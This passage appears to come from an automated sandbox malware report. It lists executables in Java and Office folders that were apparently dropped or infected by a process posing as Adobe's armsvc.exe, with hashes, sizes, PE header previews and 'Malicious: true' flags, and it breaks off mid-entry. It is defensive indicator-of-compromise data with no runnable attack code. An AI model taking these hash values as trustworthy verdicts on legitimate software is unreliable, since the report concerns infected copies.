SSDEEP:	24576:xKU/h/4KI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xr/VILNiXicJFFRGNzj3
MD5:	2275457420EFE79733AF3FA13F58A5D8
SHA1:	4EAE19A72734CDBD7E6348D5FBBEAAFB6AE1BDFF
SHA-256:	99A652CE39B0216F8E93801A5C54213BA68D909D223CC5FCCD93656A012F0D3F
SHA-512:	6C6B260D334A9F03E2B59D334112F978C2C0DA54D752A49EC5D6E9901DB8A3041DB8D57F5BDBF6B830123A93A8A5568E5D064866A5F6F07B446DBD21EFD63908
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P"..............................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.069214998668617
Encrypted:	false
SSDEEP:	24576:3x7YiBLZ05jNTmJWExn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:3xUiHIjNgnLNiXicJFFRGNzj3
MD5:	063EC1E1AF1B075FA8B6D0940D3F931B
SHA1:	DA318EC9B8F473390EEA290B597BBE74158BF928
SHA-256:	44EBB98B729135CFEF8B2CF933AF3069C9E794CA5F207A73A8C6CA75B28FD6D0
SHA-512:	54E10DFF014D2DBBF0DA6388EDD07B1CEBA03C2083A9CD74E8987C53EABF5A8C17255CB60A6373FB26CD71824E523E622BAB034DBF786F21AB31D53618D078F4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%.................................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529315567714302
Encrypted:	false
SSDEEP:	12288:qor8iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:VC/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	73C9A3C30CC13E6F517D84DB5BEFEAA4
SHA1:	BCD806EB9542949E90A732C13E603CFDFCE917BF
SHA-256:	96C1CDAEF18D87F329093C46BE91FEC9BCB131C7F0552ECE9FF60EDA7624E967
SHA-512:	30374EC878C42409057B2F1DB5ACB52F5EA821592F86B4B717A7CAD6468CBACC1A3F378D9EE2E0D95B850F03233E3FDDE202587B847FDA20D5F1859DD627951B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................?........................................&.......@..H............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...H....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1397760
Entropy (8bit):	4.695195579087999
Encrypted:	false
SSDEEP:	24576:IdP/J/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ABLNiXicJFFRGNzj3
MD5:	F65B07104911B03B0F2B6BD5902F2956
SHA1:	21B3C217D74A2109B50E9A02FE858E4FC2B4B0FD
SHA-256:	81824C90AC8DEA18E364D9BEDDD380060B2B86A82F779069E2A35822DF588592
SHA-512:	8BB602D649BD040417A506E5E659F4C8CC2F1028157F44C6817B0256B4B6093AD9F8492C17E5314C44CE89AE448FB9C1A1C53A5105226EFD5ED5784A43D21501
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.$x..wx..wx..wq.uwn..wl..vp..w...v}..w...vu..w...v{..wx..w...w...v_..w...vy..w...vs..w...wy..w...vy..wRichx..w........PE..L...}.d..........................................@..........................` ................................................h...................................`v..T............................u..@............................................text............................... ..`.rdata..R...........................@..@.data...P2..........................@....rsrc...............................@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529337100591426
Encrypted:	false
SSDEEP:	12288:kZ5EiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:ao/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	D893B479F41692CD885ADBFA38593888
SHA1:	2E527DBB88D83D717B17CC4B030103D304F41367
SHA-256:	CC0B4FB6EAC38BDF8DCEF0E51119360F37DEF354E38E3866707619FEB9D83AAB
SHA-512:	1F9D35409E38D731A687FCD09076B628618C7D5B9FD44B0FB7DA18D58E839AFD0F32C9109297240A1495DE9A25C64A8DBB017C8634DD1277694FF830046A3F73
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.52939263940427
Encrypted:	false
SSDEEP:	12288:mZlsiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:0k/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F98EA5CD4356E287138D044BE405D796
SHA1:	E81701EFB0CEEB11736EDB48AE15DB16FF3872EB
SHA-256:	DBE6F7A9A21EC41FD53769966A8592369EB505999A4F66CE793987D67D427515
SHA-512:	190A5FDEB63BF121512FC9F17776254C3CE6721BE8E60499AD7519DFCFB1ACA14A78FE312B2B6A011DF5DFED6D6FE2BAE3D6979D9F55839AA85D064A53F072AA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529403200404629
Encrypted:	false
SSDEEP:	12288:yNlsiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Ek/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	BCBA6E8195A32E265C58682F7CC25F11
SHA1:	350D86F0FA399997476818EF02E89EEDEC4EF263
SHA-256:	46E296A1D1EC74E70CAF35DD911115EB18785F4A30CBDCD2104D663E437DAC9A
SHA-512:	BE8408E649D2273CDD4DB1AF3528B2CBB71FD245BB055B9A08DE93D91F81BB55BB779C9AE6EA96CC021D92D1BB88668F61224132E31D399CAE74F44EC305CF54
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................H.......................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529374096652101
Encrypted:	false
SSDEEP:	12288:AmmMiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:3v/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	9A035E37D3F446D10F2D06C7007309F1
SHA1:	26128B7F49BC8E07F399024F4A77166E32720DF0
SHA-256:	A3FC2556F3DF39D7BA59998E92A1137F7DC91A6492F6A71E6C3DC788DE2DF458
SHA-512:	5D3C605D9A00AC48AA555E09739EA58CAEB17DC37B731CDF0D59BBB2BD8DFE2E92775C5BFA4BFF8798906C12A41446312F338CF9B7DC9681A7B1AF480B52597A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................Lz.......................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.530218020253746
Encrypted:	false
SSDEEP:	12288:nnmwiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:nT/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	D4A73F30030BDC00B42155F50478221C
SHA1:	0CA17D6DE3D3A6BDA5A45C2948A9627FC4C74C72
SHA-256:	F426F0BC101BA134F6D59C398DBB8DF83DF6A86A9B613985D6B8EFA5E2D9B951
SHA-512:	9FAB993F036CCB54437B8DD3AB83FEB0E1319A31040C7D33A5EA943A4B4CBCA937DD92E83D7A792301D35FFCC84CFA2ABAE70BE78E54A2F528E5D0F81F853C50
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................D'.......@..P........................... #..T...........................`"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529357666425191
Encrypted:	false
SSDEEP:	12288:PT5EiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:7g/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	DE85AC430B6A6092980107049E5DE533
SHA1:	832D78B8BB3FE124198CDEF9162196DE590DC837
SHA-256:	DBBFF4E80494075AAE7B2A2F3B7C2E6BFA7AB563A27E6E97493FBB875EE44067
SHA-512:	04757DE3E0DCB1D2E4FF71BC15FEADBD4FD13CC1E41FDA147E2B80EB651461CB237537E9C290D8D2007DCF608834DE47E7D305651460B9D17C8F1F5004E64DE8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................j........................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529391543572566
Encrypted:	false
SSDEEP:	12288:qw/siJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:je/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	30539970DFF430CEC3C95636B3284B24
SHA1:	DD7F1DB3E60DAF5D2E2395702C0F5BB918F28ACC
SHA-256:	9101F5F209C81509C2EDD19CA34511A8CF8C5F356D9C9BE7735A3306DFBCD458
SHA-512:	58488FD5A886F805442273CCB962CCBAEDC0B82664AF89FB9713B5A37FCD198A1140034995125C40976323A1B6066F911949F0CDE48538F047B0CE27B935C019
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529297417814367
Encrypted:	false
SSDEEP:	12288:TAmciJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:kv/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	DB28A939365C2C4C4B6AEDA172902D89
SHA1:	59AFBBF435A47AB264C77355EDB9DD17B2D7F03F
SHA-256:	7500DFC9733F113596B6FAA20826B03815F94902573BD7264AF5395E62144BC9
SHA-512:	1376A0B6B4387B0EC289AA8241773DA917737ED84974AFD493555FECD93AFF9E0A7E9353A6BA8114865CC43F176BBC3E55DD90CD57846CC4D9D63BED2FAC3F5A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................J.......................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.5293510690708665
Encrypted:	false
SSDEEP:	12288:F1SkiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:X7/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F1966D1D86AEE9A484738BF0FEEA06DF
SHA1:	A399371597A8F7785EFB4E9A3EA0E88CA212A7B7
SHA-256:	677C26954A386C2055776DF46FA56E77ABF0DC02B6D312980C98A7CCCFB73D27
SHA-512:	9F2BF6B91FEF8D8E91F6A0F32F9524C95C66037AEE0990C72F56824BDF8BCACA8B06769A446FC58E921C331E1E73187858C23A6FC3B851511B9B71A17864502F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529403094588803
Encrypted:	false
SSDEEP:	12288:zU/siJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:4e/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F8117B49BEFEE0A9286FBD45C1C1C250
SHA1:	04CDDB9A62A1CA601321DA3F092D7B3BCF3AB9A1
SHA-256:	67C49E88745BBAD67053F886665A500643704956EFA8E559BA89DC788EBF5967
SHA-512:	433372A2EAD4CAC19125DC73E666C505F826255FA793414DEA6FD36CE5D0469CD29ED84BAD40AF7D2BEAA329CE6A0147C11C6ACD6F60FD6E2619B3CF25319F2C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1358336
Entropy (8bit):	4.612118388953632
Encrypted:	false
SSDEEP:	24576:OEA/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OjLNiXicJFFRGNzj3
MD5:	9045F0A40527CCBE255EBDC8CEA12EFD
SHA1:	757A9D53ECACE96B5607054F39FA262FD2E8A200
SHA-256:	BFB3F96C5B4556F2FC648F3AA4B5A36AED735514AE4ECEF3E4EE1D519EDD0C83
SHA-512:	6DAEB8CFB798D100E5FB6B4D23189496784733E28D973182B9239F6BB4179D4AE7018C2674CB6EA427734BD45A452FC4EFEA98C22F6DBFADC06A320F41BB2D99
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zGG.>&).>&).>&).7^..&).\^(.<&).\^-.3&).\^.=&).M-.?&).M(.7&).>&(.&).\^,..&)._,.:&)._..?&)._+.?&).Rich>&).........PE..L...M.d.................\|...........u............@.................................IQ..........................................@....0..............................H...T...............................@...............P...P........................text...L{.......\|.................. ..`.rdata.............................@..@.data........ ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1298432
Entropy (8bit):	4.528979673098073
Encrypted:	false
SSDEEP:	12288:YFQAiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:CF/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	A8138CA1CBD04B910311ED692B1DFD31
SHA1:	4D6CAFB7B60B5211015BCE4E238A23A2C42C3458
SHA-256:	B208CC9A7BC79E572E60E25FD0E3962B5C8DAF5EF6C90B32F632E7C6D07DDCF1
SHA-512:	E1EC0AA1FAA1F9E0E5C93BCE29C808685E81DE305AE4E34B352A86EF2AD0A004575C9CCE405D7449501B02AF61B4501936780B9682018778848A193BAED4E45A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................... ............... ....@.................................d........................................'.......@..h...........................8#..T...........................x"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....rsrc...h....@.......$..............@..@.reloc...`...P.......0..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1454592
Entropy (8bit):	4.787858363291528
Encrypted:	false
SSDEEP:	24576:5i7le3roAU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:AloroAULNiXicJFFRGNzj3
MD5:	2D4BA2AF0879BE0FCA1826705F2AFF4F
SHA1:	F62B964A6669667B8A730ECC21DF9482D69617F7
SHA-256:	C67A49C6F8E334DD589BE13F26E87F844BAA8F56B5F076B16EE6DCFC09F90CDC
SHA-512:	DC97EFB73B458456A48FA2771625379F15497D0E8B09C8ED06D9373CC3712BC7BB4FD71A042C76553D40F20547497C437420298CB477212336B227E6F3BEF726
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...........................................................................................Rich............................PE..L.....d............................A.............@..........................@!.....N...................................................D............................e..8............................e..@............................................text...D........................... ..`.rdata..5...........................@..@.data................f..............@....idata...............v..............@..@.00cfg..............................@..@.rsrc...D...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1424896
Entropy (8bit):	4.811518200640379
Encrypted:	false
SSDEEP:	24576:1NfQNI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:/GILNiXicJFFRGNzj3
MD5:	3A9D548EE40CA49EF92046275CD4C991
SHA1:	343C056A655493A308CE805F803571A9C59D62B8
SHA-256:	149B6DDF22FEF876D0616F327C16FCF196D75E4EFA203CEC867820D6AF3C1FE8
SHA-512:	9BB84E2534039A127A2B2F2BA62434E1F51795E8C237F123028904F00CD63119E5902D6024B02FFA1CAEF65CA34BD16732BC9989FD0E98722B2C6B41C323028A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?.......................................y.......y.......y.......Rich............................PE..L...-1.e............... ..........................@........................... .............................................d...........................................8...............................@...............,............................text............................... ..`.rdata..4a.......b..................@..@.data........ ......................@....reloc...p...@......................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.83241372960241
Encrypted:	false
SSDEEP:	24576:KLib/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ZLNiXicJFFRGNzj3
MD5:	51CC955DBD8A82C14FDE76DC60E8B59D
SHA1:	A86C53F083C1A7F60F91235426F8D11B1565F8DF
SHA-256:	2D4550F9A1DF26A111CE1D4C0EB714BB8379BAF0B2C6175AA62E6F70DB31D5BA
SHA-512:	573146783F92BFF0F106E23732B11092312AEC0283F4E69619D698146FC2F99EF6C8256C10A5BB471957DF013427A5E34F7F6726C08046186287F958728E63C9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... .................. ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.832412373043977
Encrypted:	false
SSDEEP:	24576:fLib/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ELNiXicJFFRGNzj3
MD5:	C3950F6C939BBE3A7DEFBCA8CCD439D2
SHA1:	19D53ED3A15721194ED41BB9232C5D2189554B3F
SHA-256:	0B7FCEC112BCDC6C22AD39529FADC931316395ABCB35DBB9E15368F177B31077
SHA-512:	E0B4C008BA1AB09A6DB59BA82E8253C3EA134234B76A9D9B42FBE687ADDF5CB98A223582D44E4B3BE90451B67D18B24C039610D440BEA71AE886FB51156A6F27
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... ..... ............ ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1499136
Entropy (8bit):	4.787958024517551
Encrypted:	false
SSDEEP:	24576:Ffn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:FfnLNiXicJFFRGNzj3
MD5:	04AD7F5BB0A9D4D8841DDF55766C968D
SHA1:	81D494ED6A2EE8EE27310078EF1E02A79857D7CC
SHA-256:	CE201B6CFC4362C37926526A4B14CB81589A8146B088F02B7D14FC3A70A3F456
SHA-512:	3561DCFC1323E6B3091D0368C39B9D90F6499C294A45D87B715E718ACB8E22443F727EA7178C597A1176E317FA32B4B38BEFA8A64939B28872382B1CD5A5448A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .(.d.F.d.F.d.F.m..l.F...B.h.F...E.`.F...C.{.F...G.c.F.d.G...F...N.M.F.....f.F.....e.F...D.e.F.Richd.F.................PE..d....~0/.........."..........P.................@..............................!........... .......... ...................................... ........ ..(...............................T....................e..(...`d..8............e...............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata..............................@..@.rsrc...(.... ......................@..@.reloc.......0....... ..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1651712
Entropy (8bit):	5.15348767702533
Encrypted:	false
SSDEEP:	24576:FbUO42K/Ex/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:FRxLNiXicJFFRGNzj3
MD5:	7FCECA32F245BC33B23FA0A90F141A01
SHA1:	557CBD9DDD1B247A300C1EC49472C704F935C98C
SHA-256:	01D9A7123260E129F462F9450C2D52675826D570205E779E73A6FBE197449016
SHA-512:	5F7A7EB2602365249BE683520661FC0EC1116E68BCC3BB0D157376EFF9B39F8E23BB8FDA3BCFB02DC00C4E2C12578154E34D2D25D52D40A70358B51697393E01
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X..i.v.:.v.:.v.:...;9v.:...;.v.:...;.v.:.v.:.v.:...;$v.:...;4v.:...:.v.:...;.v.:Rich.v.:........................PE..L......m.................0...\|...............@....@..........................0$.....@............ ......................................................................T...................`[..........@............p...............................text...l/.......0.................. ..`.data...@'...@.......4..............@....idata..@....p.......L..............@..@.c2r.................\...................rsrc................^..............@..@.reloc...............d..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52712960
